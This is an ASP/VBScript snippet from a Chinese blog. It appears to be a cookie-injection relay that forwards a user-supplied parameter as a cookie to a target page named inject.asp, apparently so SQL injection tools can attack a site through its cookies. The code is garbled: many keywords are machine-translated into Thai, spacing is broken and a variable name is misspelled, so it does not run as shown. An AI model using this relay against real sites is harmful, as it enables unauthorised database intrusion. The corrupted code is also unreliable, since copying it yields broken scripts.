来源： 职业欠钱 & zj1244 共用的 publicblog
复制代码代码如下:
-
str = "xxxid =" & หลบหนี (คำขอ ("fk")))
url = "http://xxx.chinaxxx.com/inject.asp"
Response.WritePostData (URL, STR)
FunctionPostData (posturl, postcok)
dimhttp
sethttp = server.createObject ("msxml2.serverxmlhttp")
withhttp
.Open "get", posturl, false
.SetRequestheader "Cookie", postcok
.ส่ง
postdata = .responsebody
จบลงด้วย
sethttp = ไม่มีอะไร
postdata = bytes2bstr (postdata)
endfunction
FunctionByTes2BSTR (VIN)
dimstrreturn
DiMi, ThisChode, NextCharcode
strreturn = ""
fori = 1tolenb (vin)
thischArcode = ascb (midb (vin, i, 1))
ifthisCharcode <& h80 จากนั้น
strreturn = Strreturn & Chr (ThisCharcode)
อื่น
NextCharcode = ASCB (MIDB (VIN, I+1,1)))
strreturn = strreturn & chr (clng (thischarcode)*& h100+cint (nextcharcode))
i = i+1
endif
ต่อไป
bytes2bstr = streturn
endfunction
-